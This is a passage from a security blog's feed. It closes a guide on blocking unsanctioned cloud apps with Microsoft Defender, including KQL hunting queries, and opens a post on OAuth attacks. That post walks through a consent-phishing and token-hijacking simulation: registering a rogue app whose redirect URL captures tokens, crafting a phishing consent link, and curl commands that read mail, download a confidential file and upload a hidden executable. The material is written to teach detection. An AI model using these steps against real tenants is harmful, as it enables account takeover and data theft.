<p>This is enabled by default, but you can fine-tune it:</p>
<ol>
<li>Go to <strong>Cloud Apps</strong> → <strong>Policies</strong> → <strong>Policy management</strong> → <strong>Shadow IT</strong> tab</li>
<li>Click <strong>Create policy</strong> → <strong>Cloud Discovery anomaly detection policy</strong></li>
<li>Configure:
<ul>
<li><strong>Name</strong>: e.g., “Unusual Upload Activity”</li>
<li><strong>Filters</strong>: Target specific apps, categories, or risk scores</li>
<li><strong>Apply to</strong>: All continuous reports or specific reports</li>
<li><strong>Raise alerts only for suspicious activities occurring after</strong>: Set a date</li>
<li><strong>Daily alert limit</strong>: Prevent alert fatigue</li>
</ul>
</li>
</ol>
<p>Anomaly detection policies alert on unusual behavior but don’t auto-block. They’re early warning signals for investigation.</p>

<h2 class="relative group">Apps you cannot block
    <div id="apps-you-cannot-block" class="anchor"></div>
    
</h2>
<p>Microsoft prevents blocking certain business-critical services to avoid accidental outages:</p>
<ul>
<li>Microsoft Defender for Cloud Apps</li>
<li>Microsoft Defender Security Center</li>
<li>Microsoft 365 Security Center</li>
<li>Microsoft Defender for Identity</li>
<li>Microsoft Purview</li>
<li>Microsoft Entra Permissions Management</li>
<li>Microsoft Conditional Access Application Control</li>
<li>Microsoft Secure Score</li>
<li>Microsoft Intune</li>
<li>Microsoft Support</li>
<li>Microsoft AD FS Help</li>
<li>Microsoft Online Services</li>
</ul>
<p>Additionally, apps that are <strong>onboarded to inline proxy</strong> (Conditional Access App Control) or <strong>connected via app connector</strong> are automatically set to Sanctioned and cannot be blocked through this mechanism.</p>

<h2 class="relative group">Alternative: Block Script generation for Firewalls
    <div id="alternative-block-script-generation-for-firewalls" class="anchor"></div>
    
</h2>
<p>If you don’t have Defender for Endpoint deployed everywhere, you can still use Defender for Cloud Apps intelligence with your existing security appliances.</p>

<h3 class="relative group">Generate a Block Script
    <div id="generate-a-block-script" class="anchor"></div>
    
</h3>
<ol>
<li>Tag your target apps as Unsanctioned in Cloud Discovery</li>
<li>Go to the Cloud Discovery dashboard</li>
<li>Click <strong>Actions</strong> → <strong>Generate block script</strong></li>
<li>Select your appliance type (Fortigate, Palo Alto, Cisco, Blue Coat, etc.)</li>
<li>Click <strong>Generate script</strong></li>
<li>Import the generated file into your appliance</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Generate block script dialog for a Fortinet FortiGate appliance"
    width="2000"
    height="1123"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-24_hu_67cb480d3b5a7eaf.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-24.webp"></figure><div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">config webfilter urlfilter
</span></span><span class="line"><span class="cl">	edit &lt;ID&gt;
</span></span><span class="line"><span class="cl">		config entries
</span></span><span class="line"><span class="cl">			edit 1
</span></span><span class="line"><span class="cl">				set url seocontentmachine.com
</span></span><span class="line"><span class="cl">				set type simple
</span></span><span class="line"><span class="cl">				set action block
</span></span><span class="line"><span class="cl">				set status enable
</span></span><span class="line"><span class="cl">			end
</span></span><span class="line"><span class="cl">		end
</span></span><span class="line"><span class="cl">	end</span></span></code></pre></div></div>

<h3 class="relative group">Export Domain List
    <div id="export-domain-list" class="anchor"></div>
    
</h3>
<p>For unsupported appliances:</p>
<ol>
<li>Go to <strong>Cloud Apps</strong> → <strong>Cloud Discovery</strong> → <strong>Discovered apps</strong></li>
<li>Filter for <strong>Unsanctioned</strong> apps</li>
<li>Use the export capability to export all domains</li>
<li>Configure your third-party appliance to block those domains</li>
</ol>

<h3 class="relative group">Third-Party Integrations
    <div id="third-party-integrations" class="anchor"></div>
    
</h3>
<p>If you use Zscaler NSS, iboss, Corrata, Menlo, or Open Systems, these have native integrations with Defender for Cloud Apps. Apps marked as unsanctioned are automatically blocked. However, these integrations don’t support scoped device group blocking or the warn-and-educate features.</p>

<h2 class="relative group">Monitoring and Hunting
    <div id="monitoring-and-hunting" class="anchor"></div>
    
</h2>
<p>Once blocking is in place, monitor what’s happening with Advanced Hunting queries.</p>

<h3 class="relative group">Find blocks from Defender for Cloud Apps in Microsoft Edge
    <div id="find-blocks-from-defender-for-cloud-apps-in-microsoft-edge" class="anchor"></div>
    
</h3>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">DeviceEvents
<span class="o">|</span> <span class="k">where</span> ActionType <span class="o">==</span> <span class="s">&#34;SmartScreenUrlWarning&#34;</span>
<span class="o">|</span> <span class="k">extend</span> ParsedFields = <span class="nf">parse_json</span>(AdditionalFields)
<span class="o">|</span> <span class="k">project</span> Timestamp, DeviceName, RemoteUrl, InitiatingProcessFileName, 
          Experience = <span class="nf">tostring</span>(ParsedFields.Experience)
<span class="o">|</span> <span class="k">where</span> Experience <span class="o">==</span> <span class="s">&#34;CasbPolicy&#34;</span>
<span class="o">|</span> <span class="k">summarize</span> BlockCount = <span class="k">count</span>() <span class="k">by</span> RemoteUrl, DeviceName
<span class="o">|</span> <span class="k">order by</span> BlockCount <span class="k">desc</span></code></pre></div>
</div>

<h3 class="relative group">Find blocks in Non-Edge Browsers (Network Protection)
    <div id="find-blocks-in-non-edge-browsers-network-protection" class="anchor"></div>
    
</h3>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">DeviceEvents
<span class="o">|</span> <span class="k">where</span> ActionType <span class="o">==</span> <span class="s">&#34;ExploitGuardNetworkProtectionBlocked&#34;</span>
<span class="o">|</span> <span class="k">extend</span> ParsedFields = <span class="nf">parse_json</span>(AdditionalFields)
<span class="o">|</span> <span class="k">project</span> Timestamp, DeviceName, RemoteUrl, InitiatingProcessFileName,
          ResponseCategory = <span class="nf">tostring</span>(ParsedFields.ResponseCategory)
<span class="o">|</span> <span class="k">where</span> ResponseCategory <span class="o">==</span> <span class="s">&#34;CasbPolicy&#34;</span>
<span class="o">|</span> <span class="k">summarize</span> BlockCount = <span class="k">count</span>() <span class="k">by</span> RemoteUrl, DeviceName
<span class="o">|</span> <span class="k">order by</span> BlockCount <span class="k">desc</span></code></pre></div>
</div>

<h3 class="relative group">ResponseCategory values
    <div id="responsecategory-values" class="anchor"></div>
    
</h3>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th>ResponseCategory</th>
              <th>Source</th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td>CasbPolicy</td>
            <td>Defender for Cloud Apps</td>
        </tr>
        <tr>
            <td>CustomPolicy</td>
            <td>Web Content Filtering</td>
        </tr>
        <tr>
            <td>CustomBlockList</td>
            <td>Custom Indicators</td>
        </tr>
        <tr>
            <td>Malicious</td>
            <td>Web Threats</td>
        </tr>
        <tr>
            <td>Phishing</td>
            <td>Web Threats</td>
        </tr>
    </tbody>
  </table>
</div>

<h3 class="relative group">Find users hitting blocked apps
    <div id="find-users-hitting-blocked-apps" class="anchor"></div>
    
</h3>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">DeviceEvents
<span class="o">|</span> <span class="k">where</span> ActionType <span class="k">in</span> (<span class="s">&#34;SmartScreenUrlWarning&#34;</span>, <span class="s">&#34;ExploitGuardNetworkProtectionBlocked&#34;</span>)
<span class="o">|</span> <span class="k">extend</span> ParsedFields = <span class="nf">parse_json</span>(AdditionalFields)
<span class="o">|</span> <span class="k">where</span> <span class="nf">tostring</span>(ParsedFields.Experience) <span class="o">==</span> <span class="s">&#34;CasbPolicy&#34;</span> 
    <span class="k">or</span> <span class="nf">tostring</span>(ParsedFields.ResponseCategory) <span class="o">==</span> <span class="s">&#34;CasbPolicy&#34;</span>
<span class="o">|</span> <span class="k">summarize</span> 
    BlockCount = <span class="k">count</span>(),
    Apps = <span class="nf">make_set</span>(RemoteUrl)
    <span class="k">by</span> AccountName, DeviceName
<span class="o">|</span> <span class="k">order by</span> BlockCount <span class="k">desc</span></code></pre></div>
</div>

<h2 class="relative group">Troubleshooting
    <div id="troubleshooting" class="anchor"></div>
    
</h2>

<h3 class="relative group">Apps not being blocked
    <div id="apps-not-being-blocked" class="anchor"></div>
    
</h3>
<p>Check the following:</p>
<ol>
<li><strong>Network Protection enabled?</strong> Must be in Block mode, not Audit. Check with PowerShell: <code>Get-MpPreference | Select-Object EnableNetworkProtection</code> Value should be <code>1</code> (Block). If it’s <code>0</code> (Disabled) or <code>2</code> (Audit), blocking won’t work.</li>
<li><strong>Custom network indicators enabled?</strong> Required in Settings → Endpoints → Advanced features</li>
<li><strong>Time elapsed?</strong> Allow up to 3 hours after unsanctioning</li>
<li><strong>Domain vs URL?</strong> Full URL paths like <code>google.com/drive</code> won’t work, only domains</li>
<li><strong>QUIC enabled?</strong> Network Protection can’t inspect QUIC traffic in non-Edge browsers. Disable QUIC protocol via browser policies or Windows Firewall.</li>
</ol>

<h3 class="relative group">Verify Indicators were created
    <div id="verify-indicators-were-created" class="anchor"></div>
    
</h3>
<ol>
<li>Go to <strong>Settings</strong> → <strong>Endpoints</strong> → <strong>Indicators</strong> → <strong>URLs/Domains</strong></li>
<li>Look for the domains from your unsanctioned apps</li>
<li>Check the Action (Block/Warn) and scope</li>
</ol>

<h3 class="relative group">Check device configuration
    <div id="check-device-configuration" class="anchor"></div>
    
</h3>
<p>On an endpoint, verify Network Protection is active:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">PowerShell</div><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">Get-MpPreference</span> <span class="p">|</span> <span class="nb">Select-Object</span> <span class="n">EnableNetworkProtection</span></span></span></code></pre></div></div>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th>Value</th>
              <th>State</th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td>0</td>
            <td>Disabled</td>
        </tr>
        <tr>
            <td>1</td>
            <td>Enabled (Block mode)</td>
        </tr>
        <tr>
            <td>2</td>
            <td>Audit mode</td>
        </tr>
    </tbody>
  </table>
</div>

<h2 class="relative group">Best practices
    <div id="best-practices" class="anchor"></div>
    
</h2>
<p><strong>Start with monitoring</strong>: Deploy discovery first. Let it run for a few weeks. Understand what apps are actually in use before you start blocking. Nothing kills adoption faster than blocking something the CEO uses daily.</p>
<p><strong>Create an exception process</strong>: Document how users can request access to blocked apps. Put the link on your block page.</p>
<p><strong>Communicate before blocking</strong>: Send out communications before enabling blocking policies. Give users time to find alternatives.</p>
<p><strong>Use Monitored before Unsanctioned</strong>: For apps you’re unsure about, start with warnings. If users bypass constantly, you have data to justify either formally approving or fully blocking the app.</p>
<p><strong>Review policies quarterly</strong>: The app landscape changes. New apps appear, existing apps improve their security posture, and your organization’s needs evolve.</p>
<p><strong>Don’t rely solely on risk scores</strong>: A risk score of 6 doesn’t mean an app is safe. It means Microsoft hasn’t found evidence it’s particularly risky. Do your own due diligence for apps handling sensitive data.</p>
<p><strong>Consider browser configuration</strong>: For comprehensive coverage, deploy browser policies to disable QUIC and Encrypted Client Hello in non-Edge browsers.</p>
<p><strong>Test in scoped groups first</strong>: Use device groups to pilot blocking policies before rolling out organization-wide.</p>

<h2 class="relative group">References
    <div id="references" class="anchor"></div>
    
</h2>
<p><a href="https://learn.microsoft.com/en-us/defender-endpoint/network-protection"  target="_blank" rel="noreferrer">Network protection</a></p>
<p><a href="https://learn.microsoft.com/en-us/defender-cloud-apps/mde-govern"  target="_blank" rel="noreferrer">Govern discovered apps using Microsoft Defender for Endpoint</a></p>
<p><a href="https://learn.microsoft.com/en-us/defender-cloud-apps/governance-discovery"  target="_blank" rel="noreferrer">Govern discovered apps</a></p>
<p><a href="https://learn.microsoft.com/en-us/defender-cloud-apps/mde-integration"  target="_blank" rel="noreferrer">Integrate Microsoft Defender for Endpoint with Microsoft Defender for Cloud Apps</a></p>
<p><a href="https://learn.microsoft.com/en-us/defender-cloud-apps/cloud-discovery-policies"  target="_blank" rel="noreferrer">Cloud discovery policies</a></p>
<p><a href="https://learn.microsoft.com/en-us/defender-cloud-apps/risk-score"  target="_blank" rel="noreferrer">Cloud app catalog and risk scores</a></p>
<p><a href="https://learn.microsoft.com/en-us/defender-endpoint/web-protection-overview"  target="_blank" rel="noreferrer">Web protection overview</a></p>
<p><a href="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/microsoft-defender-for-cloud-apps-infographic-2024-07-11.pdf" >Download</a></p>

<h2 class="relative group">Summary
    <div id="summary" class="anchor"></div>
    
</h2>
<p>The Defender for Cloud Apps and Defender for Endpoint integration provides proactive, scalable control over Shadow IT:</p>
<ol>
<li><strong>Enable the integration</strong> in Cloud Apps settings and Endpoint advanced features</li>
<li><strong>Understand the catalog</strong> and how apps are scored (1-10, lower = riskier)</li>
<li><strong>Manually unsanction</strong> specific apps for immediate blocking</li>
<li><strong>Create App Discovery policies</strong> for automated blocking based on risk score, category, or compliance</li>
<li><strong>Use scoped profiles</strong> for device group-specific blocking</li>
<li><strong>Configure warnings</strong> (Monitored) for softer enforcement</li>
<li><strong>Customize block pages</strong> to educate users</li>
<li><strong>Monitor with Advanced Hunting</strong> to track effectiveness</li>
</ol>
<p>This shifts your security posture from reactive (discovering Shadow IT after the fact) to proactive (blocking risky apps before they become incidents).</p>
]]></content:encoded><media:content url="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/featured_hu_f9d7676ecfd025ba.jpg" medium="image" type="image/jpeg" width="1200" height="507"/><enclosure url="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/featured_hu_f9d7676ecfd025ba.jpg" type="image/jpeg" length="63388"/></item><item><title>OAuth attacks: How to detect and mitigate with Microsoft App Governance (MDA)</title><link>https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/</link><guid isPermaLink="true">https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/</guid><pubDate>Tue, 21 Jan 2025 12:02:14 +0100</pubDate><dc:creator>Farid Kalaidji</dc:creator><category>Microsoft Defender XDR</category><category>Microsoft Defender for Cloud Apps</category><category>Microsoft Entra ID (Azure AD)</category><description>Learn how to investigate and secure OAuth apps in Microsoft 365 using Entra ID, Sentinel, Defender XDR, and App Governance to prevent consent phishing attacks.</description><content:encoded><![CDATA[
<h2 class="relative group">Introduction
    <div id="introduction" class="anchor"></div>
    
</h2>
<p><strong>OAuth</strong> (Open Authorization) has transformed enterprise security by enabling seamless authentication and authorization between cloud applications. However, it also presents significant security risks if improperly governed. <strong>Threat actors</strong>, particularly nation-state actors like <strong>Midnight Blizzard (APT29)</strong>, increasingly exploit <strong>OAuth-based vulnerabilities</strong> to gain unauthorized access, bypass traditional authentication controls, and establish long-term persistence within corporate environments.</p>
<p>This blog post explores <strong>OAuth threats</strong>, real-world attacks, and effective mitigation strategies based on Microsoft’s findings regarding Midnight Blizzard’s attack on Microsoft in 2024. We will also outline steps for manually monitoring, detecting, and automatically mitigating OAuth-based attacks using <strong>Microsoft Defender for Cloud Apps (MDCA) App Governance</strong> and some basic <strong>security best practices</strong>.</p>

<h2 class="relative group">Understanding OAuth threats
    <div id="understanding-oauth-threats" class="anchor"></div>
    
</h2>
<p><strong><a href="https://www.modernsecurity.nl/security/" >OAuth attacks</a></strong> typically involve exploiting misconfigured permissions, excessive application access, and inadequate oversight. Key risks include:</p>
<ul>
<li><strong>Token Hijacking</strong> – Attackers steal OAuth refresh tokens to maintain long-term access without reauthentication.</li>
<li><strong>Consent Phishing</strong> – Attackers craft deceptive OAuth applications to trick users into granting unnecessary permissions.</li>
<li><strong>Privilege Escalation</strong> – Malicious apps request excessive privileges to exfiltrate data or manipulate user actions.</li>
<li><strong>Application Impersonation</strong> – Threat actors use legitimate-looking apps to bypass MFA and persist within an environment.</li>
</ul>

<h3 class="relative group">Examples of OAuth attacks
    <div id="examples-of-oauth-attacks" class="anchor"></div>
    
</h3>
<p><strong>1. OAuth Applications to Deploy Virtual Machines for Cryptomining</strong></p>
<p>In December 2023, Microsoft Threat Intelligence reported that threat actors exploited compromised user accounts to create OAuth applications with elevated privileges. These malicious applications were then used to deploy virtual machines (VMs) within the organization’s cloud infrastructure for cryptocurrency mining. This unauthorized activity led to increased operational costs and resource consumption for the affected organizations. ​</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Storm-1283 attack chain abusing OAuth applications to deploy Azure VMs for cryptomining"
    width="1315"
    height="665"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-18_hu_5834dcf5a549a34f.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-18.webp"></figure><p><strong>2. OAuth Applications for Business Email Compromise (BEC) and Phishing</strong></p>
<p>Attackers have leveraged malicious OAuth applications to maintain persistent access to compromised email accounts, facilitating Business Email Compromise (BEC) schemes and phishing campaigns. By embedding themselves within the organization’s email system, these applications enable threat actors to intercept communications, impersonate employees, and distribute phishing emails internally and externally, increasing the likelihood of successful attacks. ​</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Attack chain of OAuth application misuse for phishing after an AiTM compromise"
    width="1746"
    height="536"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/figure-4-oauth-application-misuse-for-phishing-attack-chain_hu_3f052983d41d67e.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/figure-4-oauth-application-misuse-for-phishing-attack-chain.webp"></figure><p><strong>3. OAuth Applications for Spamming Activity</strong></p>
<p>Threat actors have also used OAuth applications to send large volumes of spam emails through compromised accounts. By exploiting the organization’s email infrastructure, attackers can distribute spam messages more effectively, often bypassing traditional security filters. This not only damages the organization’s reputation but can also lead to domain blacklisting and reduced email deliverability. ​</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Storm-1286 attack chain using OAuth applications for large-scale spam"
    width="1266"
    height="845"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/figure-7-attack-chain-for-large-scale-spam-using-oauth-applications_hu_16b826c1a8650adf.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/figure-7-attack-chain-for-large-scale-spam-using-oauth-applications.webp"></figure><p><strong>4. Midnight Blizzard’s Nation-State Attack</strong></p>
<p>In January 2024, Microsoft’s security team detected a sophisticated nation-state attack targeting its corporate systems, attributed to the Russian state-sponsored actor known as Midnight Blizzard (also referred to as NOBELIUM). The attackers exploited trusted third-party applications and leveraged OAuth tokens to infiltrate target networks, demonstrating the advanced tactics employed by nation-state actors to compromise organizational security.</p>

<h2 class="relative group">Simulating an OAuth token hijacking attack
    <div id="simulating-an-oauth-token-hijacking-attack" class="anchor"></div>
    
</h2>
<p>To better understand how an attacker can exploit <strong>OAuth token hijacking</strong>, we’ll walk through an attack simulation based on techniques used in common attacks. This simulation demonstrates how a hacker compromises a user, steals OAuth tokens, and gains access to an organization’s cloud environment. This is not the exact <strong>Mightnight Blizzard attack</strong>, but shows the possibilities with OAuth tokens.</p>
<p>The attacker first registers a <strong>rogue OAuth application</strong> in Azure AD to serve as the vehicle for stealing user tokens. A common tactic used in past adversaries is leveraging free <strong>Microsoft Developer Tenants</strong> to create these rogue applications. Microsoft shut these tenants down, but you can try this with 2 tenants of your own.</p>

<h3 class="relative group">1. Register the malicious application
    <div id="1-register-the-malicious-application" class="anchor"></div>
    
</h3>
<p>The attacker creates a new app registration in Azure AD (for the url I wrote a php file on my own domain/server – that captures the token when the user consents later on via the redirect url):</p>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">az ad app create --display-name &#34;TrustedApp&#34; --identifier-uris &#34;https://www.domain.xx/capture.html&#34;</span></span></code></pre></div></div>

<h3 class="relative group">2. Configure the application to request high privileges
    <div id="2-configure-the-application-to-request-high-privileges" class="anchor"></div>
    
</h3>
<p>The attacker configures the OAuth app to request dangerous permissions, such as:</p>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">az ad app permission add --id &lt;Malicious_App_ID&gt; --api &lt;MicrosoftGraph_API_ID&gt; --scope &#34;Mail.ReadWrite Files.ReadWrite.All&#34;</span></span></code></pre></div></div>

<h3 class="relative group">3. Generate a consent link to trick victims
    <div id="3-generate-a-consent-link-to-trick-victims" class="anchor"></div>
    
</h3>
<p>Once the rogue app is set up, the attacker generates a Microsoft OAuth consent URL and embeds it in a phishing email:</p>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?
</span></span><span class="line"><span class="cl">client_id=&lt;Malicious_App_ID&gt;&amp;
</span></span><span class="line"><span class="cl">response_type=token&amp;
</span></span><span class="line"><span class="cl">redirect_uri=https://www.domain.xx/capture.html&amp;
</span></span><span class="line"><span class="cl">scope=User.Read Mail.ReadWrite Files.ReadWrite offline_access</span></span></code></pre></div></div>
<p>The email impersonates a trusted cloud service (e.g., an IT helpdesk or a security update notification). If the victim clicks the link and grants consent, the attacker gains persistent access to their Microsoft 365 account without needing their credentials.</p>
<ul>
<li>If the user clicks and grants consent, the attacker’s rogue OAuth application gains access to their Microsoft 365 account, including emails, files, and possible administrative privileges</li>
<li>Even if the user has MFA enabled, the attack succeeds because OAuth grants do not require re-authentication once approved (as long as the token is valid)</li>
<li><em>There are some other things that need to be configured for it to be successful like type token issuance, multi tenant API access, non-restricted enterprise app consent etc</em>.</li>
</ul>

<h3 class="relative group">4. Using the extracted token to move around in the environment
    <div id="4-using-the-extracted-token-to-move-around-in-the-environment" class="anchor"></div>
    
</h3>
<p>After obtaining initial access, an attacker can query the environment by using the extracted OAuth tokens and the Microsoft Graph API. Some examples below with the permissions I requested (limited to only file/mail/offline access):</p>
<p>Check assigned roles:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -X GET -H <span class="s2">&#34;Authorization: Bearer YOUR_ACCESS_TOKEN&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">https://graph.microsoft.com/v1.0/me/memberOf</span></span></code></pre></div></div>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="curl request to Microsoft Graph listing the groups the compromised user is a member of"
    width="1618"
    height="702"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-23_hu_e8e80255851b6f16.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-23.webp"></figure><p>Get information about the displayName, userPrincipalName and profile info:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -X GET -H <span class="s2">&#34;Authorization: Bearer YOUR_ACCESS_TOKEN&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">https://graph.microsoft.com/v1.0/me?<span class="nv">$select</span><span class="o">=</span>displayName,userPrincipalName,assignedLicenses</span></span></code></pre></div></div>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="curl request to Microsoft Graph returning the compromised user&rsquo;s profile"
    width="1618"
    height="702"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-20_hu_d44b22392b516f9f.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-20.webp"></figure><p>Query the permissions granted by the malicous app:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -X GET -H <span class="s2">&#34;Authorization: Bearer YOUR_ACCESS_TOKEN&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants</span></span></code></pre></div></div>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="curl request to Microsoft Graph showing the permissions granted to the malicious app"
    width="1618"
    height="702"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-21_hu_8ba21259800d63a1.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-21.webp"></figure><p>List all the files in OneDrive &amp; download an example:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -X GET -H <span class="s2">&#34;Authorization: Bearer YOUR_ACCESS_TOKEN&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">https://graph.microsoft.com/v1.0/me/drive/root/children</span></span></code></pre></div></div>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -X GET -H <span class="s2">&#34;Authorization: Bearer YOUR_ACCESS_TOKEN&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">     -o <span class="s2">&#34;stolen_file.pdf&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">     https://graph.microsoft.com/v1.0/me/drive/root:/Documents/Confidential.pdf:/content</span></span></code></pre></div></div>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="curl request listing files in the compromised user&rsquo;s OneDrive"
    width="1618"
    height="702"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-22_hu_50bf0b44b2cea74e.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-22.webp"></figure><p>Upload a hidden (malicious?) file in OneDrive:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -X PUT -H <span class="s2">&#34;Authorization: Bearer YOUR_ACCESS_TOKEN&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">     -H <span class="s2">&#34;Content-Type: application/json&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">     -d <span class="s1">&#39;{
</span></span></span><span class="line"><span class="cl"><span class="s1">       &#34;@microsoft.graph.conflictBehavior&#34;: &#34;rename&#34;,
</span></span></span><span class="line"><span class="cl"><span class="s1">       &#34;name&#34;: &#34;.system-config.exe&#34;
</span></span></span><span class="line"><span class="cl"><span class="s1">     }&#39;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">     https://graph.microsoft.com/v1.0/me/drive/root:/Documents/.system-config.exe:/content</span></span></code></pre></div></div>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="curl request uploading a hidden executable to the compromised user&rsquo;s OneDrive"
    width="1618"
    height="702"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-24_hu_b65011af36a8dfaf.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-24.webp"></figure><p>Read e-mails directly from the mailbox:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -X GET -H <span class="s2">&#34;Authorization: Bearer YOUR_ACCESS_TOKEN&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">     -H <span class="s2">&#34;Content-Type: application/json&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">     <span class="s2">&#34;https://graph.microsoft.com/v1.0/me/messages?</span><span class="nv">$top</span><span class="s2">=10&#34;</span></span></span></code></pre></div></div>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="curl request reading the latest messages from the compromised mailbox"
    width="1079"
    height="468"
    src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-25_hu_e0eb4be8725ac902.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/oauth-attacks-microsoft-app-governance-mda/afbeelding-25.webp"></figure><p>Imagine, with even permissions, I could easily query all the users, refresh tokens, create new malicious apps, make forwards in the inbox, send phishing messages through Teams and even more if I added more permission in the initial consent and move lateral in the environment.</p>

<h2 class="relative group">Identifying suspicious OAuth applications manually
    <div id="identifying-suspicious-oauth-applications-manually" class="anchor"></div>
    
</h2>
<p>OAuth-based attacks require a structured approach for detection and response. The following steps outline steps that security teams can use to investigate OAuth applications:</p>

<h3 class="relative group">1. Review OAuth consent events in Audit Log
    <div id="1-review-oauth-consent-events-in-audit-log" class="anchor"></div>
    
</h3>
<p>Microsoft Entra ID logs every instance where a user consents to an application requesting permissions.</p>
<p><strong>Steps:</strong></p>
<ol>
